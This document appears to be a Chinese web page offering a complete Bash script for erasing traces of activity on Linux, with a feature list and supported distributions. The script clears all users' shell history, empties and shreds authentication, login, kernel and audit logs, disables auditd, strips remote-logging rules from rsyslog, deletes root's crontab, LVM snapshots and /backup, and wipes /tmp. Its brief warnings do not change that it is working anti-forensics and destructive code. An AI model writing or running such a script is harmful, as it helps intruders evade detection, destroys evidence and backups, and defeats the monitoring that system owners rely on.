在Linux系统上隐匿操作痕迹的脚本
脚本说明:
- 清除 Bash 历史:删除所有用户和 root 的命令历史文件,包括当前会话的 Bash 历史。
- 清除系统日志:清除各种常见的系统日志文件,包括登录记录、认证日志、内核日志、系统消息日志等。
- 禁用审计日志:禁用 auditd 审计日志并清空其内容。
- 清除临时文件和缓存:删除
/tmp
和/var/tmp
目录中的临时文件。 - 覆盖删除日志文件:使用
shred
命令覆盖并删除日志文件,防止日志恢复。 - 清除计划任务日志:删除与 cron 相关的计划任务日志。
- 删除远程日志传输:如果系统配置了远程日志传输,脚本会尝试移除 rsyslog 中相关的配置。
- 删除系统快照和备份:脚本尝试删除 LVM 快照(具体快照名称需替换),并清理可能存在的备份目录。
- 强制同步磁盘:确保删除的文件不会保留在文件系统的缓存中。
注意事项:
- 远程日志和备份:如果系统配置了远程日志传输或定期备份,删除本地日志文件后,操作记录仍可能存在于远程服务器或备份文件中。
- 不可恢复的删除:使用
shred
命令覆盖删除的文件,增加恢复难度,但这仅限于本地日志文件。 - 系统稳定性风险:删除系统日志和禁用审计可能影响系统的安全和稳定,管理员通常会监控这些操作。
在执行该脚本之前,请确认了解其后果,因为删除系统日志和记录文件可能违反安全规定,并可能导致系统不可恢复的故障。
以下是可以运行该脚本的 Linux 操作系统列表,包括常见的发行版和系统:
支持的 Linux 操作系统列表
-
Ubuntu 系列:
- Ubuntu
- Ubuntu Server
- Linux Mint
- Kubuntu
- Xubuntu
- Lubuntu
-
Debian 系列:
- Debian
- Devuan
-
CentOS 系列:
- CentOS
- CentOS Stream
- AlmaLinux
- Rocky Linux
#!/bin/bash
# 确保使用root权限执行该脚本
if [ "$EUID" -ne 0 ]; then
echo "请使用root权限执行该脚本"
exit
fi
echo "开始彻底清除操作痕迹..."
# 1. 清除当前用户的bash历史
history -c # 清空当前会话中的命令历史
shopt -s histoff # 关闭命令历史记录功能
rm -f ~/.bash_history # 删除当前用户的bash历史文件
# 删除所有用户的bash历史记录
for home_dir in /home/*; do
if [ -f "$home_dir/.bash_history" ]; then
echo "删除用户 ${home_dir##*/} 的bash历史记录"
rm -f "$home_dir/.bash_history"
fi
done
rm -f /root/.bash_history # 删除root用户的bash历史文件
# 2. 清除系统日志
log_files=(
"/var/log/wtmp"
"/var/log/btmp"
"/var/log/lastlog"
"/var/log/auth.log" # Debian/Ubuntu
"/var/log/secure" # CentOS/RHEL
"/var/log/messages"
"/var/log/syslog"
"/var/log/audit/audit.log"
"/var/log/cron"
"/var/log/kern.log"
"/var/log/maillog"
"/var/log/dmesg"
"/var/log/faillog"
)
for log_file in "${log_files[@]}"; do
if [ -f "$log_file" ]; then
echo "清除日志文件: $log_file"
cat /dev/null > "$log_file"
fi
done
# 3. 清除登录和失败的登录记录
echo "清除登录记录..."
cat /dev/null > /var/log/wtmp # 清除成功的登录记录
cat /dev/null > /var/log/btmp # 清除失败的登录记录
cat /dev/null > /var/log/lastlog # 清除最后的登录记录
# 4. 禁止历史记录写入
export HISTSIZE=0 # 禁止保存历史命令
export HISTFILESIZE=0 # 禁止将历史命令保存到文件
unset HISTFILE # 删除当前会话的历史文件路径
# 5. 清除临时文件和缓存
echo "清除临时文件和缓存..."
rm -rf /tmp/*
rm -rf /var/tmp/*
# 6. 清除进程、任务及计划任务日志
echo "清除计划任务日志..."
cat /dev/null > /var/log/cron # 清除cron计划任务的记录
rm -f /var/spool/cron/crontabs/root # 删除root的cron任务
# 7. 清除内核消息和内核缓冲区
echo "清除内核消息和缓冲区..."
dmesg --clear # 清除内核缓冲区中的信息
# 8. 删除远程日志传输设置(如果存在)
if [ -f /etc/rsyslog.conf ]; then
echo "删除远程日志传输设置..."
sed -i '/^\*\.\*/d' /etc/rsyslog.conf # 删除与远程日志传输相关的条目
systemctl restart rsyslog # 重新启动rsyslog服务
fi
# 9. 删除或禁用审计系统日志(auditd)
if systemctl is-active --quiet auditd; then
echo "禁用auditd服务并清除日志..."
systemctl stop auditd
systemctl disable auditd
cat /dev/null > /var/log/audit/audit.log # 清空审计日志
fi
# 10. 检查并删除系统快照和备份(如果存在)
echo "删除可能存在的系统快照和备份..."
lvremove -f /dev/mapper/your-snapshot 2>/dev/null # 删除LVM快照,具体快照名称需替换
rm -rf /backup/* # 删除常见的本地备份目录
# 11. 防止恢复日志文件
echo "覆盖删除的日志文件以防恢复..."
shred -u /var/log/* # 覆盖并删除日志文件
shred -u /var/log/*/* # 覆盖并删除子目录中的日志文件
# 12. 强制同步磁盘,确保删除的文件不可恢复
sync
echo "操作完成,所有操作痕迹已尽可能清除。"